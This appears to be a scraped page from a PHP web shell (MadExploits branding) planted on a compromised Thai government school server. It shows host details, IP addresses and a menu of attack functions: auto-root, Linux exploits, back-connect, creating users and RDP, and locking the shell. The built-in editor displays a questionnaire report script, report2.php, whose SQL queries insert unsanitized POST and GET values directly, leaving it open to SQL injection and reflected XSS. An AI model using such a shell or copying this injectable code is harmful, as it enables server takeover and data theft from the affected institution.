Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
questionnaire /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
answer_qtn.php
20.81
KB
-rw-r--r--
create_qtn.php
9.78
KB
-rw-r--r--
create_question.php
18.13
KB
-rw-r--r--
create_use_qtn_detail.php
6.47
KB
-rw-r--r--
create_use_qtn_name.php
18.79
KB
-rw-r--r--
on_off_qtn.php
7.32
KB
-rw-r--r--
report1.php
14.43
KB
-rw-r--r--
report2.php
15.14
KB
-rw-r--r--
report3.php
5.03
KB
-rw-r--r--
school_group.php
14.59
KB
-rw-r--r--
school_group_show.php
7.51
KB
-rw-r--r--
upload_1.php
7.97
KB
-rw-r--r--
upload_2.php
1.69
KB
-rw-r--r--
view_qtn.php
16.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report2.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); $officer=$_SESSION['login_user_id']; if($index==4){ $qtn_use_id=$_POST['qtn_use_id']; $detail_index=0; $all_sch_index=0; $sql="select * from questionnaire_use_qtn_name where qtn_use_id='$qtn_use_id' limit 0,1"; $result=mysqli_query($connect,$sql); $row=mysqli_fetch_array($result); $qtn_name=$row['qtn_use_name']; echo "<br/>"; echo "<TABLE cellpadding='5' cellspacing='5' border='0' width='90%' align='center'>"; echo "<TR bgcolor='#E6E6E6' height='30'>"; echo "<TD colspan=2 align='center'><B>รายงานการตอบแบบสอบถาม : $qtn_name</B></TD></TR>"; echo "</table>"; //มีการกำหนดรายละเอียดหรือไม่ $sql="select * from questionnaire_use_qtn where qtn_use_id='$qtn_use_id' "; $result=mysqli_query($connect,$sql); $num_rec1=mysqli_num_rows($result); if($num_rec1>=1){ $detail_index=1; } // ตรวจว่ามีข้อใดใช้กับทุกกลุ่มหรือไม่ $sql="select * from questionnaire_use_qtn where qtn_use_id='$qtn_use_id' and school='all_sch'"; $result=mysqli_query($connect,$sql); $num_rec2=mysqli_num_rows($result); if($num_rec2>=1){ $all_sch_index=1; } //สอบสอบว่าใช้กับกลุ่มใดบ้าง $sql="select distinct school from questionnaire_use_qtn where qtn_use_id='$qtn_use_id' "; $result=mysqli_query($connect,$sql); $grp_member=1; while($row=mysqli_fetch_array($result)){ $grp=$row['school']; if(!(($grp=='all_sch') or ($grp=='no_sch'))){ $sql="select * from questionnaire_school_in_group where grp_id='$row[school]' "; $result_grp_member=mysqli_query($connect,$sql); while($row_grp_member=mysqli_fetch_array($result_grp_member)){ $grp_mem_ar[$grp_member]=$row_grp_member['school_id'] ; $grp_member++; } } } echo "<br/>"; echo "<table width='90%' CELLSPACING='1' CELLPADDING='2' align='center'>"; echo "<tr bgcolor='#000000' height='30'>"; echo "<td align='center' width='5%'><b><font color='#FFFFFF'>ที่</td>"; echo "<td align='center'><b><font color='#FFFFFF'>โรงเรียน</td>"; echo "<td align='center' width='15%'><b><font color='#FFFFFF'>กรอกข้อมูลแล้ว</td>"; echo "<td align='center' width='15%'><b><font color='#FFFFFF'>ยังไม่ได้กรอกข้อมูล</td>"; echo "<td align='center' width='15%'><b><font color='#FFFFFF'>ข้อมูล</td>"; echo "</tr>"; $i=1; $yes=0; $no=0; $total_qtn=0; $sql= "select * from system_school"; $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)){ $name = $result['school_name']; $school_id = $result['school_code']; //คัดกรองกลุ่ม if($detail_index==1){ if($all_sch_index!=1){ $member_check=0; for($x=1;$x<$grp_member;$x++){ if($grp_mem_ar[$x]==$school_id){ $member_check=$member_check+1; } } if($member_check==0){ continue; } } } //จบคัดกรองกลุ่ม if(($i%2)==0){ $bgcolor="#e8e8e8"; }else{ $bgcolor="#F5F5F5"; } // ตรวจการกรอก $sql2="select distinct user_id from questionnaire_answer where (qtn_use_id=$qtn_use_id) and (school_code='$school_id')"; $result2=mysqli_query($connect,$sql2); $num_row=mysqli_num_rows($result2); //จบตรวจการกรอก echo "<tr bgcolor=$bgcolor>"; echo "<td align=center>$i</td>"; echo "<td align='left'>$name</td>"; if($num_row>=1){ echo "<td align=center><INPUT TYPE='checkbox' NAME='$school_id' checked> ($num_row)</td>"; $yes=$yes+1; $total_qtn=$total_qtn+$num_row; } else { echo "<td align=center><INPUT TYPE='checkbox' NAME='$school_id' ></td>"; $no=$no+1; } if($num_row>=1){ echo "<td align=center><INPUT TYPE='checkbox' NAME='$school_id'></td>"; } else { echo "<td align=center><INPUT TYPE='checkbox' NAME='$school_id' checked></td>"; } echo "<td align=center>"; if($num_row>=1){ echo "<a href=?option=questionnaire&task=main/report2&qtn_use_id=$qtn_use_id&school_code=$school_id&index=7>ข้อมูล_Click</a>"; } echo "</td>"; echo "</tr>"; $i++; } //จบloop school if(($yes+$no)!=0){ $yes_percent=($yes/($yes+$no))*100; $yes_percent=number_format($yes_percent,2); } else{ $yes_percent=""; } if(($yes+$no)!=0){ $no_percent=($no/($yes+$no))*100; $no_percent=number_format($no_percent,2); } else{ $no_percent=""; } echo "<tr bgcolor=#000000 height=30>"; echo "<td align=center><b><font color=#FFFFFF></td>"; echo "<td align=center><b><font color=#FFFFFF>รวม</td>"; echo "<td align=center><b><font color=#FFFFFF>$yes ($yes_percent%) $total_qtn ฉบับ</td>"; echo "<td align=center><b><font color=#FFFFFF>$no ($no_percent%)</td>"; echo "<td align=center><b><font color=#FFFFFF></td>"; echo "</tr>"; echo "</table>"; } if($index==7){ echo "<br>"; echo "<form id='frm1' name='frm1'>"; echo "<table border='0' width='75%' align='center'><tr><td align='right'>"; echo "<INPUT TYPE='hidden' name='qtn_use_id' value='$_GET[qtn_use_id]'>"; echo "<INPUT TYPE='button' name='smb2' value='<<กลับหน้าก่อน' onclick='goto_url(2)'>"; echo "</td></tr></table>"; $qtn_use_id=$_GET['qtn_use_id']; $user_school=$_GET['school_code']; //จำนวนแบบสอบถามแต่ละโรงเรียน $sql_user="select distinct user_id from questionnaire_answer where qtn_use_id='$qtn_use_id' and school_code='$user_school' "; $result_user=mysqli_query($connect,$sql_user); $number=1; while($row_user=mysqli_fetch_array($result_user)){ $user_id=$row_user['user_id']; echo "<div align='center'><b>ฉบับที่ $number</b> [$user_id]</div>"; ?> <TABLE border="1" width="75%" align="center" style="border-collapse: collapse"> <tr><td colspan="2" valign="top"> <TABLE cellpadding="5" cellspacing="5" border="0" width="100%" align="center"> <TR bgcolor="#000000" height="30"> <TD colspan="10" align=center style="font-family:Tahoma; font-size:10pt;"><font color="#FFFFFF"><b>ชื่อแบบสอบถาม</b> : <?php $sql="select * from questionnaire_use_qtn_name where qtn_use_id='$qtn_use_id' limit 0,1"; $result=mysqli_query($connect,$sql); while($row=mysqli_fetch_array($result)){ /////////////////// ชื่อ template $qtn_name=$row['qtn_use_name']; $qtn_id=$row['qtn_id']; $qtn_desc=$row['qtn_desc']; $type=$row['type']; if($type==1){ $type_text="(แบบสอบถามรายบุคคล)"; } else{ $type_text="(แบบสอบถามรายโรงเรียน)"; } echo " $qtn_name $type_text</td>"; echo "</tr>"; echo "<tr><td colspan='10' align='left'>"; echo "<b>คำชี้แจง</b>  $qtn_desc"; echo "</td></tr>"; echo "<tr><td colspan='2' valign='top'>"; ///////////////////////////////////////////////// ///////////////////////////////////////////////// $sql2="select * from questionnaire_qq where qtn_id='$qtn_id' order by order_id ,qtn_qq_id"; $result2=mysqli_query($connect,$sql2); $i=0; $k=0; while($row2=mysqli_fetch_array($result2)){ /////////////////////////// ชื่อคำถามที่ $qtn_qq_id=$row2['qtn_qq_id']; // ตรวจรายละเอียดแต่ละข้อ $sql_44="select * from questionnaire_use_qtn where (qtn_use_id='$qtn_use_id') and (qtn_qq_id='$qtn_qq_id')"; $dbquery44=mysqli_query($connect,$sql_44); $result44=mysqli_fetch_array($dbquery44); if($result44['school']=='no_sch'){ continue; } $member_grp=0; if($result44['school']>0){ $sql_grp= "select * from questionnaire_school_in_group where (grp_id='$result44[school]') and (school_id='$user_school')"; $dbquery_grp=mysqli_query($connect,$sql_grp); $member_grp=mysqli_num_rows($dbquery_grp); if($member_grp<1){ continue; } } //จบคัดกรองรายข้อ $i++; echo "<TABLE id='tb_q' cellpadding='5' cellspacing='2' border='0' width=100%>"; echo "<TR bgcolor='#5e5e5e' height='30'>"; echo "<TD colspan='8' align='left' style='font-family:Tahoma; font-size:10pt;'><font color='#FFFFFF'><b> คำถามที่$i $row2[2]"; // มีเอกสาร $sql_upload="select * from questionnaire_upload where qtn_use_id='$qtn_use_id' and qtn_qq_id='$qtn_qq_id' "; $dbquery_upload=mysqli_query($connect,$sql_upload); $upload_num=mysqli_num_rows($dbquery_upload); if($upload_num>=1){ echo " <a href=?option=questionnaire&task=main/upload_2&qtn_use_id=$qtn_use_id&qtn_qq_id=$qtn_qq_id><img src=images/admin/book.gif alt='เอกสารประกอบการรายงาน' border='0' target='_blank'><font size='1' color='#FFFFFF'>[เอกสารประกอบ]</font></a>"; } echo "</td>"; //ส่วนของการแสดงuploade_file if($result44['upload_file']=='1'){ echo "<td width='20' align='center'><img src=images/icon/arrow_up.gif alt='ข้อนี้สามารถ Upload ได้' border='0' target='_blank'></td>"; } else { echo "<td width='20'> </td>"; } echo "</tr>"; //เลือกตัวแปร $sql3="select * from questionnaire_qq_member where qtn_qq_id = $qtn_qq_id order by qtn_qq_m_id"; $result3=mysqli_query($connect,$sql3); $j=0; $count = mysqli_num_rows($result3); while($row3=mysqli_fetch_row($result3)){ ///////////////////////////////// ตัวเลือกกี่ข้อ ก ข $j++; $qtn_qq_m_id = $row3[0]; $qtn_qq_m_name=$row3[2]; $qtn_qq_m_num=$row3[3]; $min = $row3[4]; $max = $row3[5]; $qtn_qq_m_total = $row3[6]; $qtn_op_id=$row3[7]; echo "<tr><td valign=top align='left'><b> $j) $qtn_qq_m_name </b></td></tr>"; echo "<tr><td align='left'>"; if(($qtn_op_id==1) or ($qtn_op_id==2) or ($qtn_op_id==3) or ($qtn_op_id==4)){ $sql_13="select * from questionnaire_answer where (qtn_use_id='$qtn_use_id') and (qtn_qq_id='$qtn_qq_id') and (qtn_qq_m_id='$qtn_qq_m_id') and (user_id='$user_id')"; $dbquery_13=mysqli_query($connect,$sql_13); $result_answer = mysqli_fetch_array($dbquery_13); $qtn_value1=$result_answer['qtn_value1']; $qtn_value2=$result_answer['qtn_value2']; $qtn_value3=$result_answer['qtn_value3']; $qtn_value4=$result_answer['qtn_value4']; } if($qtn_op_id==1){ echo " <INPUT TYPE='text' NAME='$qtn_qq_id$qtn_qq_m_id' value='$qtn_value1' onKeyDown='DigitOnly();'> $qtn_qq_m_num"; } else if($qtn_op_id==2){ echo " <INPUT TYPE='text' NAME='$qtn_qq_id$qtn_qq_m_id' value='$qtn_value2'>"; }else if($qtn_op_id==3){ echo " <TEXTAREA NAME='$qtn_qq_id$qtn_qq_m_id' ROWS='7' COLS='50'>$qtn_value3</TEXTAREA>"; }else if($qtn_op_id==4){ $sql4="select * from questionnaire_qq_member_other where qtn_qq_m_id=$qtn_qq_m_id order by qtn_qq_mo_id"; $result4=mysqli_query($connect,$sql4); while($row4=mysqli_fetch_row($result4)){ /////////////////////////// ชื่อ Radio $qtn_qq_mo_id = $row4[0]; if($qtn_qq_mo_id==$qtn_value4){ $select4="checked"; } else{ $select4=""; } echo " <INPUT TYPE='$row4[3]' NAME='$qtn_qq_id$qtn_qq_m_id$number' value='$qtn_qq_mo_id' $select4>$row4[2]<br>"; } } else if($qtn_op_id==5){ $sql5="select * from questionnaire_qq_member_other where qtn_qq_m_id=$qtn_qq_m_id order by qtn_qq_mo_id"; $result5=mysqli_query($connect,$sql5); $k=0; while($row5=mysqli_fetch_row($result5)){ /////////////////////////// $qtn_qq_mo_id = $row5[0]; $sql_55="select * from questionnaire_answer where (qtn_use_id='$qtn_use_id') and (qtn_qq_id='$qtn_qq_id') and (qtn_qq_m_id='$qtn_qq_m_id') and (qtn_qq_mo_id='$qtn_qq_mo_id') and (user_id=$user_id)"; $dbquery_55=mysqli_query($connect,$sql_55); $result_answer = mysqli_fetch_array($dbquery_55); $qtn_value5=$result_answer['qtn_value5']; if($qtn_qq_mo_id==$qtn_value5){ $select5="checked"; } else{ $select5=""; } echo " <INPUT TYPE='$row5[3]' NAME='$qtn_qq_id$qtn_qq_m_id$qtn_qq_mo_id$number' $select5>$row5[2]<br>"; $k++; } } echo " </td>"; } echo "</tr>"; echo "</table>"; } ////////////////////////// echo "</td></tr>"; } ?> <tr><td colspan="2" align="center"> </TABLE> </td></tr> <TR bgcolor="#AEB6BF" height="10"><TD align="center" style="font-family:Tahoma; font-size:10pt;"></TD></TR> </TABLE> <?php $number++; echo "<br>"; } // end while echo "<table border='0' width='75%' align='center'><tr><td align='right'>"; echo "<INPUT TYPE='hidden' name='qtn_use_id' value='$_GET[qtn_use_id]'>"; echo "<INPUT TYPE='button' name='smb3' value='<<กลับหน้าก่อน' onclick='goto_url(2)'>"; echo "</td></tr></table>"; echo "</form>"; } //end if if(!($index==4 or $index==7)){ echo "<br/>"; echo "<form id='frm1' name='frm1'>"; echo "<TABLE cellpadding='5' cellspacing='5' border='0' width='90%' align='center'>"; echo "<TR bgcolor='#E6E6E6' height='30'>"; echo "<TD colspan=2 align='center'><B>รายงานการตอบแบบสอบถาม</B></TD></TR>"; echo "<TR><TD colspan='2' align='center'>เลือกแบบสอบถาม "; echo "<select name='qtn_use_id'>"; $sql= "select * from questionnaire_use_qtn_name order by qtn_use_id desc"; $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)){ if($qtn_use_id==$result['qtn_use_id']){ $select="selected";} else{ $select=""; } echo "<option value='$result[qtn_use_id]' $select>$result[qtn_use_name]</option>"; } echo "</select>" ; echo "</TD></TR>"; echo "</TABLE>"; echo "<br>"; echo "<div align='center'>"; echo "<Input Type='Submit' Value='ตกลง' onclick='goto_url(1)'>"; echo "</div>"; echo "</form>"; } ?> <script> function goto_url(val){ if(val==1){ callfrm("?option=questionnaire&task=main/report2&index=4"); } else if(val==2){ callfrm("?option=questionnaire&task=main/report2&index=4"); } } </script>
Close
